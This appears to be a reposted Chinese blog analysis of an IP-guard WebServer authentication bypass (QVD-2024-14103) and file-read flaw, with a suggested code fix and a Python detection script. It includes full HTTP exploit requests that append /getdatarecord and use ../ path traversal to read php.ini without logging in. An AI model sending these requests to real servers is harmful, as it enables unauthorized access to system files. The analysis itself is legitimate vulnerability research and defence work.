IP-guard WebServer 2024年两个漏洞简单分析

news2024/11/19 15:39:39

前言

这个漏洞看完索然无味,但是手上又刚好有源码,不看他一下又觉得可惜

权限绕过漏洞(QVD-2024-14103)简单分析

网上冲浪的时候,看到个买不起的CSDN专栏

这里基本上定位到是_mApplyList 出了问题,前面两个是ipguard webserver的运行目录,之前看过几眼IP-Guard有点印象,大概就是在 ipg/application/controllers/appr/mApplyList.php ,是个移动网页的应用接口

然后看到他上面写的 downloadFile_client 根据注释,大概就是一个/从本地web服务器下载文件到本地/ _的功能,这里代码很长,就简单截图看下是干什么的,要传什么,这个函数我会扔到pastebin上面去https://dpaste.org/dhDnU 

1、首先这里传了几个值


langConfig和backparam是控制语言版本和水印的?基本上可以不用看,而且也可以不用传,不影响整个函数
看到这里判断了是否传入了path ,_fileName _和action ,并且将_path _赋值给了_filedir

file_dir = f"tempFile/{path}"

2.、判断_action _是不是download ,这里其实有两个逻辑,_review _和download ,不是_download _也不是_review _在上面会被处理成error ,那么看下_download _会怎么处理

 

可以看到,首先使用 fopen 打开了本地文件,也就是_ filedir ,然后把 fileBaseName ,也就是_ filename _传到了_headers 中,再把 fp 以 buffer 的模式输出到 response _中,那么这里尝试构造一下payload ,这里知道_tempFile_在 _TEC\WebServer\www\ipg\tempFile _中

GET /ipg/appr/MApplyList/downloadFile_client?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1
Host: 192.168.50.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

但是很明显的被重定向到登陆了,所以目前不行

 

3、 再看一眼CSDN,他在末尾传了一个 /getdatarecord ,去看一下这里有什么蹊跷

可以看到func获取了最后一个_ / _后的值,如果这个值是getdatarecord ,则记录未授权登陆的errorlog ,然后这里没有redirect ,而是直接_return _结束了,看来是这里造成了权限绕过,那么再整理一下poc,就变成了这样

GET /ipg/appr/MApplyList/downloadFile_client/getdatarecord?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1
Host: 192.168.50.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4.、成功读取到phpinfo

 

修复?

看了上面的逻辑之后,可以知道,在判断_ getdatarecord 记录 errorlog _之后增加一个redirect ,而不是直接_return _可以解决这个权限绕过问题

if($func != 'download')
{
  if ($func == 'getdatarecord')
  {
    $this->errorresult(ErrorCode::OERR_NOT_LOGIN);
    redirect("appr/SignIn");
    return ;
  }

  redirect("appr/SignIn");
  return ;
}

修改完成后,重启服务再复测一下,可以看到变成_307 _跳转了

这里又拿到了一份4.82.0607.0 的程序
在这个程序中,限制了path 的目录,str_replace 掉了所有的/ 和\ ,也就是不能这么轻松读取到php.ini 了

检测程序

所以就简单写个检测程序 GitHub - index2014/IP-Guard-getdatarecord-checker: IP-guard WebServer存在权限绕过漏洞(QVD-2024-14103) 检测程序

import requests
import argparse

def check(url) -> bool:
    try:
        result = False
        if url:
            response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord")
            if response.status_code == 200: 
                result = True
    except Exception as e:
        print(f"Error: {e}")
    return result

def main():
    parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.')
    parser.add_argument('-u', '--url', type=str, help='URL to check', default=None)
    args = parser.parse_args()
    url = args.url
    if url:
        if check(url):
            print("URL is vulnerabled.")
        else:
            print("URL is not vulnerabled.")
    else:
        print("-u target No URL provided.")

if __name__ == "__main__":
    main()

小结

那是真给不起CSDN的订阅费呀,索然无味又浪费了一个晚上

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1636831.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flutter笔记:Widgets Easier组件库(4)使用按钮组

Flutter笔记 Widgets Easier组件库(4):使用按钮组 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite:http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress…

2024五一数学建模C题保姆级分析完整思路+代码+数据教学

2024五一数学建模竞赛(五一赛)C题保姆级分析完整思路代码数据教学 煤炭是中国的主要能源和重要的工业原料。然而,随着开采深度的增加,地应力增大,井下煤岩动力灾害风险越来越大,严重影响着煤矿的安全高效开…

机器学习实战 —— 工业蒸汽量预测(二)

目录 文章描述背景描述数据说明数据来源实战内容2.数据特征工程2.1数据预处理和特征处理2.1.1 异常值分析2.1.2 归一化处理2.1.3 特征相关性 2.2 特征降维2.2.1 相关性初筛2.2.2 多重共线性分析2.2.3 PCA处理降维 文章描述 数据分析:查看变量间相关性以及找出关键变…

2024年第二十六届“华东杯”(A题)大学生数学建模挑战赛|数学建模完整代码+建模过程全解全析

当大家面临着复杂的数学建模问题时,你是否曾经感到茫然无措?作为2022年美国大学生数学建模比赛的O奖得主,我为大家提供了一套优秀的解题思路,让你轻松应对各种难题。 让我们来看看华东杯 (A题)! 问题一&a…

数组模拟双链表-java

通过数组来模拟双链表,并执行一些插入和删除的功能。 目录 一、问题描述 二、模拟思路 1.变量解释 2.数组初始化 3.在下标是k的结点后面插入一个结点 4.删除下标为k的结点 5.基本功能解释 三、代码如下 1.代码如下: 2.读入数据: 3…

VSCode 配置 CMake

VSCode 配置 C/C 环境的详细过程可参考:VSCode 配置 C/C 环境 1 配置C/C编译环境 方案一 如果是在Windows,需要安装 MingW,可以去官网(https://sourceforge.net/projects/mingw-w64/)下载安装包。 注意安装路径不要出现中文。 打开 windows…

【LocalAI】(10):在autodl上编译embeddings.cpp项目,转换bge-base-zh-v1.5模型成ggml格式,本地运行main成功

1,关于 localai LocalAI 是一个用于本地推理的,与 OpenAI API 规范兼容的 REST API。 它允许您在本地使用消费级硬件运行 LLM(不仅如此),支持与 ggml 格式兼容的多个模型系列。支持CPU硬件/GPU硬件。 【LocalAI】&…

【算法小白周赛1A】分析 - 题解与代码

题目链接:https://www.starrycoding.com/problem/155 题目描述 小可可最近在学数学运算!他希望考考你,给你两个整数 A , B A,B A,B,询问 A B A\times B AB 是否是偶数。 注意,可能存在前导 0 0 0,比如…

【C++】:日期类的实现 -- 日期计算器

前言 1.日期类是一种十分经典的类型。对于C的初学者,它能够帮助我们融会贯通许多C的基础知识,它涉及许多的基础语法,比如引用,函数重载,传值/传参返回,构造函数,运算符重载,const成…

Python 与 TensorFlow2 生成式 AI(五)

原文:zh.annas-archive.org/md5/d06d282ea0d9c23c57f0ce31225acf76 译者:飞龙 协议:CC BY-NC-SA 4.0 第十二章:用生成式人工智能玩视频游戏:GAIL 在之前的章节中,我们已经看到如何使用生成式人工智能来生成…

如何在Linux上安装Python?2024Python安装教程

在Linux上安装Python并不难,对于Ubuntu或Debian系统,使用命令sudo apt install python3;对于CentOS、Red Hat或Fedora系统,使用命令sudo yum install python3。 如何在Linux上安装Python? 确切的安装步骤有所不同&am…

Django后台项目开发实战七

为后台管理系统换风格 第七阶段 安装皮肤包 pip install django-grappelli 在 setting.py 注册 INSTALLED_APPS [grappelli,django.contrib.admin,django.contrib.auth,django.contrib.contenttypes,django.contrib.sessions,django.contrib.messages,django.contrib.stat…

微隔离实施五步法,让安全防护转起来

前言 零信任的最核心原则→最小权限 安全的第一性原理→预防 零信任的最佳实践→微隔离 “零信任”这个术语的正式出现,公认是在2010年由Forrester分析师John Kindervag最早提出。时至今日,“零信任”俨然已成安全领域最热门的词汇,做安全…

如何使用Go语言进行并发安全的数据访问?

文章目录 并发安全问题的原因解决方案1. 使用互斥锁(Mutex)示例代码: 2. 使用原子操作(Atomic Operations)示例代码: 3. 使用通道(Channels) 在Go语言中,进行并发编程是常…

《QT实用小工具·四十九》QT开发的轮播图

1、概述 源码放在文章末尾 该项目实现了界面轮播图的效果,包含如下特点: 左右轮播 鼠标悬浮切换,无需点击 自动定时轮播 自动裁剪和缩放不同尺寸图片 任意添加、插入、删除 单击事件,支持索引和自定义文本 界面美观,圆…

遥感雷达波段的原理及应用

雷达波段是不同波长的组。每一种都有其独特的穿透地球表面的能力。它们还可以揭示环境的不同方面。 雷达频段在电磁频谱内具有特定的频率范围。这些波段由 L-、S-、C- 和 X-波段等字母表示。稍后会详细介绍这一点。 什么是合成孔径雷达? 合成孔径雷达 (SAR) 是一…

C语言实验-循环结构和选择结构

一&#xff1a; 求和:1(14)(149)(14916)…(14916…n2)? 其中n的值由键盘输入&#xff1b; #define _CRT_SECURE_NO_WARNINGS #include<stdio.h>int main() {int sum 0;int n 0;printf("请输入一个整数");scanf("%d", &n);for (int i 0; i &l…

MATLAB 字符串

MATLAB 字符串 在MATLAB中创建字符串非常简单。实际上&#xff0c;我们已经使用了很多次。例如&#xff0c;您在命令提示符下键入以下内容- 示例 my_string ‘(cainiaojc.com)’ MATLAB将执行上述语句并返回以下结果 my_string (cainiaojc.com) MATLAB将所有变量视为数组&a…

Python基础学习之记录中间文件

倘若想记录代码运行过程中的结果文件&#xff0c;那么以下函数仅供参考 代码示例&#xff1a; import os import datetime import sys import pandas as pd# 定义总的文件夹路径 base_folder E:\\D\\log\\product_data_compare_log# 定义一个函数来创建带时间戳的文件夹 def…

特征提取(Feature Extraction)常见统计特征笔记(三)

统计特征是描述数据集中值的一组量&#xff0c;通常用于了解数据的分布、集中趋势和变异程度。常见的统计特征包括均值、中位数、众数、标准差、方差等。下面会详细解释每个统计特征&#xff0c;并给出相应的Python代码。 1、均值&#xff08;Mean&#xff09;&#xff1a;所有…